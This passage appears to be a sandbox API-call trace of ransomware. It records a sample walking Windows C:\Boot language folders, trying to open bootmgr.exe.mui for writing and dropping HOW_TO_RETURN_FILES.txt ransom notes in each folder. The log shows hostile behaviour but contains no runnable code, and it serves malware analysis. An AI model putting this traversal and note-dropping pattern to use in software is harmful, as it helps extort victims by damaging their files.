[0076.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.532] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\pl-pl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.532] GetFileType (hFile=0x124) returned 0x1 [0076.533] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.533] AreFileApisANSI () returned 1 [0076.533] GetACP () returned 0x4e4 [0076.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pt-BR", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="pt-BR", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.533] AreFileApisANSI () returned 1 [0076.533] GetACP () returned 0x4e4 [0076.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\pt-BR\\䔠i7ൿł\x04") returned 14 [0076.533] AreFileApisANSI () returned 1 [0076.533] GetACP () returned 0x4e4 [0076.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.533] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.533] AreFileApisANSI () returned 1 [0076.533] GetACP () returned 0x4e4 [0076.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.533] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.533] AreFileApisANSI () returned 1 [0076.533] GetACP () returned 0x4e4 [0076.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.533] CreateFileA (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.534] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.534] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.534] AreFileApisANSI () returned 1 [0076.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.534] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\pt-br\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.534] GetFileType (hFile=0x124) returned 0x1 [0076.535] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.535] AreFileApisANSI () returned 1 [0076.535] GetACP () returned 0x4e4 [0076.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pt-PT", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="pt-PT", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.535] AreFileApisANSI () returned 1 [0076.535] GetACP () returned 0x4e4 [0076.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\pt-PT\\䔠i7ൿł\x04") returned 14 [0076.535] AreFileApisANSI () returned 1 [0076.536] GetACP () returned 0x4e4 [0076.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.536] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.536] AreFileApisANSI () returned 1 [0076.536] GetACP () returned 0x4e4 [0076.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.536] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.536] AreFileApisANSI () returned 1 [0076.536] GetACP () returned 0x4e4 [0076.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.536] CreateFileA (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.537] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.537] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.537] AreFileApisANSI () returned 1 [0076.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.537] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\pt-pt\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.537] GetFileType (hFile=0x124) returned 0x1 [0076.538] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.538] AreFileApisANSI () returned 1 [0076.538] GetACP () returned 0x4e4 [0076.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ru-RU", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="ru-RU", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.538] AreFileApisANSI () returned 1 [0076.538] GetACP () returned 0x4e4 [0076.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\ru-RU\\䔠i7ൿł\x04") returned 14 [0076.538] AreFileApisANSI () returned 1 [0076.538] GetACP () returned 0x4e4 [0076.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.538] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.538] AreFileApisANSI () returned 1 [0076.538] GetACP () returned 0x4e4 [0076.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.538] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.538] AreFileApisANSI () returned 1 [0076.538] GetACP () returned 0x4e4 [0076.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.539] CreateFileA (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.539] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.539] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.539] AreFileApisANSI () returned 1 [0076.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.539] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\ru-ru\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.539] GetFileType (hFile=0x124) returned 0x1 [0076.540] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.540] AreFileApisANSI () returned 1 [0076.540] GetACP () returned 0x4e4 [0076.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sv-SE", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="sv-SE", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.540] AreFileApisANSI () returned 1 [0076.540] GetACP () returned 0x4e4 [0076.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\sv-SE\\䔠i7ൿł\x04") returned 14 [0076.540] AreFileApisANSI () returned 1 [0076.540] GetACP () returned 0x4e4 [0076.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.540] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.540] AreFileApisANSI () returned 1 [0076.540] GetACP () returned 0x4e4 [0076.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.541] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.541] AreFileApisANSI () returned 1 [0076.541] GetACP () returned 0x4e4 [0076.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.541] CreateFileA (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.542] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.542] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.542] AreFileApisANSI () returned 1 [0076.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.542] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\sv-se\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.543] GetFileType (hFile=0x124) returned 0x1 [0076.543] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.543] AreFileApisANSI () returned 1 [0076.543] GetACP () returned 0x4e4 [0076.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tr-TR", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="tr-TR", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.544] AreFileApisANSI () returned 1 [0076.544] GetACP () returned 0x4e4 [0076.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\tr-TR\\䔠i7ൿł\x04") returned 14 [0076.544] AreFileApisANSI () returned 1 [0076.544] GetACP () returned 0x4e4 [0076.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.544] AreFileApisANSI () returned 1 [0076.544] GetACP () returned 0x4e4 [0076.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.544] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.544] AreFileApisANSI () returned 1 [0076.544] GetACP () returned 0x4e4 [0076.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.544] CreateFileA (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.544] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.544] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.545] AreFileApisANSI () returned 1 [0076.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.545] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\tr-tr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.545] GetFileType (hFile=0x124) returned 0x1 [0076.546] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.546] AreFileApisANSI () returned 1 [0076.546] GetACP () returned 0x4e4 [0076.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-CN", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="zh-CN", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.546] AreFileApisANSI () returned 1 [0076.546] GetACP () returned 0x4e4 [0076.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\zh-CN\\䔠i7ൿł\x04") returned 14 [0076.546] AreFileApisANSI () returned 1 [0076.546] GetACP () returned 0x4e4 [0076.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.546] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.546] AreFileApisANSI () returned 1 [0076.546] GetACP () returned 0x4e4 [0076.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.546] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.546] AreFileApisANSI () returned 1 [0076.546] GetACP () returned 0x4e4 [0076.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.546] CreateFileA (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.547] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.547] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.547] AreFileApisANSI () returned 1 [0076.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.548] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\zh-cn\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.548] GetFileType (hFile=0x124) returned 0x1 [0076.548] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.549] AreFileApisANSI () returned 1 [0076.549] GetACP () returned 0x4e4 [0076.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-HK", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="zh-HK", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.549] AreFileApisANSI () returned 1 [0076.549] GetACP () returned 0x4e4 [0076.549] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\zh-HK\\䔠i7ൿł\x04") returned 14 [0076.549] AreFileApisANSI () returned 1 [0076.549] GetACP () returned 0x4e4 [0076.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.549] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.549] AreFileApisANSI () returned 1 [0076.549] GetACP () returned 0x4e4 [0076.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.549] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.549] AreFileApisANSI () returned 1 [0076.549] GetACP () returned 0x4e4 [0076.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.549] CreateFileA (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.549] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.549] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.550] AreFileApisANSI () returned 1 [0076.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.550] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\zh-hk\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.550] GetFileType (hFile=0x124) returned 0x1 [0076.551] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.551] AreFileApisANSI () returned 1 [0076.551] GetACP () returned 0x4e4 [0076.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 